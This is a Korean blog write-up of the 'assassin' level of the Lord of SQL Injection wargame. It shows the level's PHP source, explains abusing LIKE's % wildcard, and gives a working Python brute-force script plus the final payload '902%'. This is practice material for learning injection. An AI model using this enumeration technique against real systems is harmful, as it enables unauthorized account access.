반응형
Lord of SQLInjection
los.rubiya.kr
los의 어쌔신을 처치해보자.
기본 쿼리문 및 소스코드는 아래와 같다.
소스코드를 살펴보자.
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/\'/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id from prob_assassin where pw like '{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
if($result['id'] == 'admin') solve("assassin");
highlight_file(__FILE__);
?>
pw에는 따옴표만 사용이 불가능하다.
이번에는 쿼리문에 등호가 아닌 like가 쓰였는데, 아래 블로그 글을 보면, like에서는 %를 와일드카드로써 쓸 수 있다.
?pw=%로 입력해보면 guest가 뜬다. guest가 admin보다 우선순위가 높은 것 같다.
사실 다른 라업의 힌트를 먼저 보고 왔는데, guest와 admin의 앞부분이 조금 겹친다고 한다. 그래서 나는 뒷부분부터 확인을 해볼 것이다. 해보니까 %00 같은 경우를 url 인코딩으로 인식을 해버리니 제대로 쓸 수가 없었다.
아래와 같은 파이썬 코드로 어쌔신을 처치할 수 있다.
import requests
import time
URL="https://los.rubiya.kr/chall/assassin_14a1fd552c61c60f034879e5d4171373.php?"
params = {'pw':''}
cookie={
"PHPSESSID":"hfq78ei0h9rmlo9jl10lkb7kd3"
}
password = ''
start = time.time()
flag = 1
while flag:
for i in range(48, 127):
params['pw'] = "{}%".format(password+chr(i))
res = requests.get(URL, params=params, cookies=cookie)
#print(params['pw'], password+chr(i))
if "Hello guest" in res.text:
password = password+chr(i)
print("found!:{}%".format(chr(i)))
#print(res.text)
break
elif "Hello admin" in res.text:
password += chr(i)
print("found admin!:%{}".format(chr(i)))
#print(res.text)
flag = 0
break
print(password)
end = time.time()
print(end - start)
pw: 902%
url: ?pw=902%
query : select id from prob_assassin where pw like '902%'
반응형
'해킹 > LoS(Lord of SQL Injection)' 카테고리의 다른 글
[Los] succubus 풀이 (0) | 2022.06.12 |
---|---|
[Los] giant 풀이 (0) | 2022.06.12 |
[Los] bugbear 풀이 (0) | 2022.06.12 |
[Los] darkknight 풀이 (0) | 2022.06.12 |
[Los] golem 풀이 (0) | 2022.06.12 |